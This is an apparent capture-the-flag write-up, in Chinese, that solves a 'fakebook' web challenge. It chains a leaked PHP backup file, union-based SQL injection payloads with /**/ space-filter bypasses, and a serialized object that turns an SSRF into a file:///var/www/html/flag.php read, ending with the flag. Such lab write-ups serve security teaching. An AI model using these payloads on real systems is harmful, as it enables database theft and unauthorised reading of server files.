拿到靶机后先用dirsearch进行端口扫描
发现有有个flag.php文件和robots.txt文本


尝试进入flag.php文件
空白,也许是被隐藏了

尝试进入robots.txt文本
发现显示了user.php的备份包
bak文件一般属于备份文件,即back-up。

访问user.php.bak
访问后直接下载了user.php包

打开user.php.bak进行代码审计
php
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这里定义了一个可以用get传入url的函数
并且没有任何过滤
------存在SSRF漏洞
php
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
这里对把从get中传入的url传入到blog参数
并进行过滤
过滤了file,dite等伪协议
但这里可以用序列化进行绕过
php
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
回到靶机进行网页分析
打开靶机后有两个选项
一个登录(login),一个注册(join)

尝试弱口令登录
结果全是失败的弹窗

尝试注册一个管理员账号
发现注册成功了


但发现只有蓝色的admin链接可以点击
点击admin
一个包含账号信息的页面

查看页面源代码
发现底部有个包含了data://协议的iframe参数
data://协议是数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
该iframe使用data URI scheme,其结构为:data: - 表示使用数据URI协议
text/html - 指定内容类型为HTML
base64 - 表示后续内容经过base64编码


那么现在有两个问题
- 我们不知道flag.php的路径
- 我们不知道如何把数据加入data://协议中
我们再观察url发现存在no参数

修改一下
发现会报错,但返回了很多信息
其中我们发现返回了当前目录的绝对路径(/var/www/html/)
那我们就有理由猜测flag.php也许就为(/var/www/html/flag.php)

尝试进行sql注入
先判断注入类型
no=1 and 1=1--+
正常

no=1 and 1=2--+
报错
确定为数字型

字符型注入:需要闭合前面的引号,通常使用 ' 或 ",如 1'--+
数字型注入:不需要额外的引号闭合,直接添加条件即可
- and 1=1 (恒真条件):如果页面正常返回,说明SQL语句被执行了
- and 1=2 (恒假条件):如果页面显示异常、空白或提示"无结果",表明应用程序对SQL结果有判断
- 对于数字型注入 :
- 1 and 1=1 应该正常显示结果
- 1 and 1=2 应该不显示结果或报错(因为条件为假)
- 对于字符型注入 :
- 如果直接使用 1 and 1=1 而不闭合引号,可能两种情况都报错
- 需要先闭合引号(如 1' and 1=1--+)才能看到正确反应
判断字段数
no=1 order by 4--+
正常

no=1 order by 5--+
报错
确定字段数为4

尝试联合查询
爆数据库名
这里我们用一个空数据(no=-1)来查询,防止与no=1冲突
no=-1 union select 1,databases(),3,4--+
发现被过滤了

用注释代替空格绕过
/**/
no=-1 union/**/select 1,database(),3,4--+
发现一个叫fakebook的数据库

爆表名
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
发现只有一个users表

爆字段
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
发现有no,username,passwd,data四个字段,后面有几个未知字段,猜测是系统变量。

查字段信息
-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+
发现爆出了admin 账号真正的密码但是加密的
和一段序列化信息,这段信息中似乎包含了我们账号的所有个人资料

专门把data字段拿出来看
-1 union/**/select 1,group_concat(data),3,4 from users--+

把数据进行反序列化后查看
发现恰巧是我们一开始发现的user.php中的数据

思路闭环了
- 在user.php中我们知道blog参数可传入url数据并执行
- 在页面源代码中我们知道iframe参数中有data://协议
- 在users表中的data字段中储存着blog参数
链接起来就是,当用户访问个人资料页时,服务器会获取和读取blog参数指向的内容,并将获取到的内容base64编码后放入iframe的src中
也就是说我们可以利用flie://协议构造file:///var/www/html/flag.php,然后通过data数据中的bolg数据进行注入,从页面的firame参数中读取flag.php的信息
注入user数据
构造data数据
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
s:代表字符串的个数,file:///var/www/html/flag.php有29个字符串,故这里要改为29
构造注入payload
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
在先前进行SQL注入测试的时候我们知道有4个字段
在查询user表字段,data数据在第四个
因此我们这里猜测data数据就在第四个字段
成功注入到blog中

在页面源代码中寻找iframe参数

base64解码后便是flag

flag{c1e552fdf77049fabf65168f22f7aeab}